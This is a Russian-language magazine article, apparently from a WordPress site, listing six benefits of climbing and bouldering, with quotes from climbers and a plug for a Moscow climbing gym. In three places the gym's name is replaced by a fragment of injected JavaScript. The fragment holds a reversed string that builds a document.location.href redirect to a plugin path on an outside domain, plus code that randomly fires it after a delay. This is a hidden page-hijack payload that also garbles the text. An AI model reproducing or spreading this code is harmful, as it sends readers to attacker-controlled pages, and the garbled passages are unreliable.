Царь горы: 6 причин заняться скалолазанием

Мы точно знаем: лезть на стену можно и даже нужно. О том, почему тренировки на скалодроме — достойная альтернатива занятиям в тренажёрном зале, читайте в этом материале.

Вы сожжёте много калорий

Царь горы: 6 причин заняться скалолазанием. Изображение номер 1

Фото: Никита Царев

Боулдеринг, или скалолазание без верёвки на небольшую высоту по коротким маршрутам (то, чем чаще всего занимаются на скалодроме), — эффективный способ жиросжигания: за 60-минутную тренировку у вас есть все шансы потратить 500 калорий  почти столько же, сколько вы сожжёте за часовую работу на беговой дорожке.

 

Стас Поплавский

мастер спорта по скалолазанию в трёх дисциплинах, спортивный директор скалодрома LimeStoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone

— При этом здесь нет монотонной работы, нет повторяющихся движений. Лазать никогда не бывает скучно: каждую трассу надо разгадать, каждое движение — тщательно продумать.

Вы добавите тонуса мышцам

Царь горы: 6 причин заняться скалолазанием. Изображение номер 2

Фото: Никита Царев

Все движения, которые вы совершаете во время скалолазания  перехваты, перемещения по стене и тому подобное,  являются естественными для нашего тела и равномерно нагружают разные группы мышц. Благодаря такой тренировке вы хорошо укрепите ноги и руки, а также заметно улучшите координацию.

Крис Шарма

скалолаз

— Идея в том, чтобы выбрать интересный для себя маршрут, встать на него и попробовать пройти миллион раз. Получение и отработка всех навыков происходит именно на трассе.

Ваша осанка улучшится

Царь горы: 6 причин заняться скалолазанием. Изображение номер 3

Фото: Денис Мигулин

Спустя пару месяцев регулярных занятий вы наверняка заметите, что вашей рельефной спиной восхищаются окружающие. Секрет в том, что во время тренировки на скалодроме вы включаете в работу глубокие и поверхностные мышцы спины, которые редко задействуется в других видах спорта. Это позволяет правильно развивать и укреплять общий мышечный корсет вокруг позвоночника, что благотворно влияет на здоровье спины.

Вы заведёте новые знакомства

Царь горы: 6 причин заняться скалолазанием. Изображение номер 4

Фото: Александр Токарев

Большинство скалолазов — путешественники, альпинисты и просто интересные люди, у которых всегда есть чему поучиться. К тому же всегда лучше тренироваться с тем, кто опытнее и может дать полезный совет.

 

Ирина Кузьменко

мастер спорта и член сборной России по скалолазанию, тренер скалодрома LimeStoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone

— Скалолазы — это такая большая душевная тусовка, которая не знает границ и всегда готова принять новичков, научить, показать, подбодрить.

Ваши путешествия обретут смысл

Царь горы: 6 причин заняться скалолазанием. Изображение номер 5

Фото: Денис Мигулин

Когда вы наберётесь достаточно опыта на скалодроме, вам откроется возможность сделать своё следующее путешествие намного интереснее. Например, включить в программу тура покорение настоящей скалы. Лазание по скалам — отличный способ совместить приятное с полезным. К счастью, оно развито в самых разных уголках земного шара.

Адам Ондра

чемпион мира по скалолазанию

— Быть первым — никогда не было моей целью. Я просто всегда выбирал самые интересные маршруты и делал свою работу качественно.

Вам откроются большие перспективы в спорте

Царь горы: 6 причин заняться скалолазанием. Изображение номер 6

Фото: Евгения Алексеева

Скалолазание развивается очень быстро, проводятся соревнования и чемпионаты, так что у вас есть есть хорошая возможность для профессионального роста, можно получать разряды, занимаясь, например, в спортивной секции. Но и это ещё не всё: скалолазание включили в программу Олимпийских игр — первый олимпийский чемпион станет известен в 2020 году.

Статьи по теме

7 лучших скалодромов Москвы

Выжить любой ценой: как питается путешественник и телеведущий Беар Гриллс

Сумасшедший мировой рекорд: прыжок с 58.8-метровой скалы

Что делать тем, кто не поехал в горы

Стремитесь ли вы попасть в олимпийскую сборную или просто хотите получить новый опыт — в любом случае лучше заниматься на современном, хорошо оборудованном и просторном скалодроме, подходящем для любого уровня подготовки. Один из таких — LimeStoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone. Это яркий, бодрый и самый большой боулдеринговый зал Москвы!

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector